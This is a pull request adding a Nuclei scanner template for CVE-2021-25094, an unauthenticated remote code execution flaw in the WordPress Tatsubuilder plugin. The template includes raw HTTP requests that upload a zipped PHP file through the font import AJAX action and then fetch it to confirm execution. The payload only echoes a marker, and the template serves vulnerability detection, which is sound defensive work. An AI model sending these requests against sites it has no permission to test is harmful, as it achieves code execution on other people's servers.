Merge pull request #10875 from projectdiscovery/CVE-2021-25094

Create CVE-2021-25094.yaml

http/cves/2021/CVE-2021-25094.yaml

@@ -0,0 +1,69 @@
+id: CVE-2021-25094
+
+info:
+  name: Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: high
+  description: |
+    An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.
+  remediation: Fixed in 3.3.12
+  reference:
+    - https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
+    - https://wpscan.com/vulnerability/fb0097a0-5d7b-4e5b-97de-aacafa8fffcd/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-25094
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2021-25094
+    cwe-id: CWE-306
+    cpe: cpe:2.3:a:brandexponents:tatsu:*:*:*:*:*:wordpress:*:*
+  metadata:
+    max-request: 2
+    verified: true
+    publicwww-query: "/wp-content/plugins/tatsu/"
+  tags: cve,cve2021,wp,wp-plugin,wordpress,tatsu,rce
+
+variables:
+  marker: "{{randstr}}"
+  b64marker: "{{base64(marker)}}"
+  filename: "{{rand_base(5)}}"
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        X-Requested-With: XMLHttpRequest
+        Content-Type: multipart/form-data; boundary=a8bfdd88f26f754c25496d0dd4962d38
+
+        --a8bfdd88f26f754c25496d0dd4962d38
+        Content-Disposition: form-data; name="action"
+
+        add_custom_font
+        --a8bfdd88f26f754c25496d0dd4962d38
+        Content-Disposition: form-data; name="file"; filename="{{filename}}.zip"
+
+        {{zip('.{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
+        --a8bfdd88f26f754c25496d0dd4962d38--
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"name":"{{to_lower(filename)}}"'
+          - '"status":"success'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /wp-content/uploads/typehub/custom/{{to_lower(filename)}}/.{{filename}}.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '{{marker}}'